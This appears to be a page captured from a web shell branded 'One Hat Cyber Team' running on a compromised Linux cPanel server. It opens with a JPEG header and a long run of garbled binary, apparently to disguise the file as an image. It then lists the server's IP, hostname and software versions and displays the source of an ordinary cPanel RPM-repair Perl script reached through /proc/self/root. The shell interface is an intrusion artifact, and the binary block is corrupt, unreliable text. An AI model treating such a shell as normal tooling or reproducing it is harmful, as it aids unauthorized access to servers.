����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
3.134.111.219
Server IP :
139.177.197.176
Server :
Linux host.afriservers.rw 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.4.32
Buat File
|
Buat Folder
Dir :
~
/
proc
/
self
/
root
/
proc
/
self
/
root
/
scripts
/
View File Name :
find_and_fix_rpm_issues
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/find_and_fix_rpm_issues Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::find_and_fix_rpm_issues; use cPstrict; use parent qw( Cpanel::HelpfulScript ); use Cpanel::Usage; use Cpanel::Binaries::Rpm (); use Cpanel::OS (); use Cpanel::Pkgr (); use Cpanel::SafeRun::Simple (); use Cpanel::Update::Logger (); our $RPM_DB_DIR = '/var/lib/rpm'; exit( __PACKAGE__->new(@ARGV)->run() // 0 ) unless caller; =encoding utf-8 =head1 NAME find_and_fix_rpm_issues =head1 USAGE scripts/find_and_fix_rpm_issues [--findonly] [--rebuildonly] [--help] =head1 DESCRIPTION Detects problems with the rpm database and will rebuild the database if it detects problems. Exits 0 if RPM is working properly, or if we were able to fix it by rebuilding its database. This script also detects duplicate cPanel RPMs, removes, and then re-installs them if necessary. --findonly - Detect and report problems. Do not make any changes. --rebuildonly - Unconditionally rebuild the RPM database. =cut sub _OPTIONS { return qw( findonly rebuildonly ); } # NOTE: Return logic throughout the script is reversed so that $? is 0 for # success or 1 for failure. sub run { my ($self) = @_; my $logger = Cpanel::Update::Logger->new( { 'stdout' => 1, 'log_level' => 'debug', 'timestamp' => 0 } ); # Bail on non-rpm based s if ( !Cpanel::OS::is_rpm_based() ) { $logger->warn( "find_and_fix_rpm_issues: Cannot be used on a non rpm based distro. Current distro is " . Cpanel::OS::display_name() . "\n" ); return; } my $findonly = $self->getopt('findonly'); my $rebuildonly = $self->getopt('rebuildonly'); my $rpm_db_is_good = 1; if ( !$rebuildonly ) { my $status; ( $rpm_db_is_good, $status ) = Cpanel::Pkgr::verify_package_manager_can_install_packages($logger); if ($rpm_db_is_good) { my $rpm_db = _dump_rpm_db(); fix_duplicate_cpanel_rpms( $logger, $rpm_db ); $rpm_db_is_good = verify_no_duplicate_rpms( $logger, $rpm_db ); } $logger->info("find_and_fix_rpm_issues: rpm issues have been found") if !$rpm_db_is_good; } $rpm_db_is_good = 0 if $rebuildonly; if ( !$findonly && !$rpm_db_is_good ) { $logger->info("find_and_fix_rpm_issues: Performing rpm rebuild"); # A non-zero return from rebuild_rpm_database indicates failure. It just returns $?. rebuild_rpm_database($logger) && return 1; } remove_cpanel_obsoleted_rpms($logger); return 0; } sub rebuild_rpm_database { my ($logger) = @_; if ( opendir my $dh, $RPM_DB_DIR ) { while ( my $file = readdir $dh ) { next unless $file =~ m{^__db\.[0-9]+$} && -f "$RPM_DB_DIR/$file"; unlink "$RPM_DB_DIR/$file" or do { $logger->info("find_and_fix_rpm_issues: Could not unlink $RPM_DB_DIR/$file: $!"); return 1; }; } closedir $dh; } my $rpm = Cpanel::Binaries::Rpm->new; my $result = $rpm->cmd( '-vvv', '--rebuilddb' ); my $exit_code = $result->{'status'} >> 8; if ($exit_code) { $logger->info("find_and_fix_rpm_issues: Rebuilding the rpm database failed with exit code $exit_code:"); $logger->debug( $result->{'output'} ); return 1; } else { return 0; } } sub _dump_rpm_db { my $rpm = Cpanel::Binaries::Rpm->new; my $result = $rpm->cmd( qw { -qa --nodigest --nosignature --queryformat }, '%{INSTALLTIME}\t%{NAME}\t%{VERSION}\t%{RELEASE}\t%{ARCH}\t\n' ); return [ split "\n", $result->{'output'} ]; } sub fix_duplicate_cpanel_rpms { my ( $logger, $rpmdb_ar ) = @_; my %rpms; my %rpm_erase; foreach my $line (@$rpmdb_ar) { next if index( $line, '.cp' ) == -1; my ( $installtime, $name, $version, $release, $arch ) = split( m/\t/, $line ); # Only fix cp11## rpms. next if ( $release !~ m/cp\d{4}$/ ); if ( $rpms{$name} ) { $rpm_erase{ sprintf( "%s-%s-%s.%s", $name, $rpms{$name}[0], $rpms{$name}[1], $rpms{$name}[2] ) } = 1; $rpm_erase{ sprintf( "%s-%s-%s.%s", $name, $version, $release, $arch ) } = 1; } else { # No duplicate found. $rpms{$name} = [ $version, $release, $arch ]; } } return 0 if !%rpm_erase; $logger->info("Duplicate RPMs found."); my $rpm = Cpanel::Binaries::Rpm->new; my @cmd_args = ( qw{-e --nodeps --justdb}, sort { $a cmp $b } keys %rpm_erase ); $logger->info( "\$> rpm " . join( " ", @cmd_args ) . "\n" ); my $result = $rpm->cmd(@cmd_args); $logger->info( $result->{'output'} ); $logger->info("\$> /usr/local/cpanel/scripts/check_cpanel_pkgs --fix\n"); $logger->info( Cpanel::SafeRun::Simple::saferunallerrors(qw{/usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-digest}) ); return 0; } # if check_cpanel_rpms or one of its child processes are killed during an rpm transaction, this can put the rpm # database in an unstable state as far as what rpms should be installed. This cleans that mistake up after the fact. # # NEVER kill -9 an rpm command. Bad things can happen! sub remove_cpanel_obsoleted_rpms ($logger) { my $obsoletes = Cpanel::Pkgr::installed_cpanel_obsoletes(); return unless ref $obsoletes && @$obsoletes; # Nothing is obsolete! $logger->info( "Removing obsoleted package(s): " . join( ", ", @$obsoletes ) ); $logger->info( Cpanel::Pkgr::remove_packages_nodeps(@$obsoletes) ); $logger->info("Attempting to fix the local install by running scripts/check_cpanel_pkgs --fix --no-digest"); $logger->info( Cpanel::SafeRun::Simple::saferunallerrors(qw{/usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-digest}) ); } # NOTE: The logic here may not be obvious. # If the system has duplicate RPMs, this function will return 0, indicating a problem. # Otherwise, it will return 1, indicating that it did not detect a problem. # # (That doesn't mean there isn't a problem; it just means we didn't find one.) sub verify_no_duplicate_rpms { my ( $logger, $rpmdb_ar ) = @_; my %rpm_hash; $rpm_hash{ substr( $_, index( $_, "\t" ) + 1 ) }++ for @$rpmdb_ar; # Multiple kernel packages are ok delete @rpm_hash{ grep { index( $_, "kernel" ) == 0 } keys %rpm_hash }; if ( grep { $_ > 1 } values %rpm_hash ) { foreach my $line ( grep { $rpm_hash{$_} > 1 } keys %rpm_hash ) { my ( $name, $version, $release, $arch ) = split( m/\t/, $line ); my $dupe_count = $rpm_hash{$line} - 1; $logger->info( "The “$name” package has “$dupe_count” duplicate package" . ( $dupe_count > 1 ? 's' : '' ) . " installed." ); } return 0; } return 1; } 1;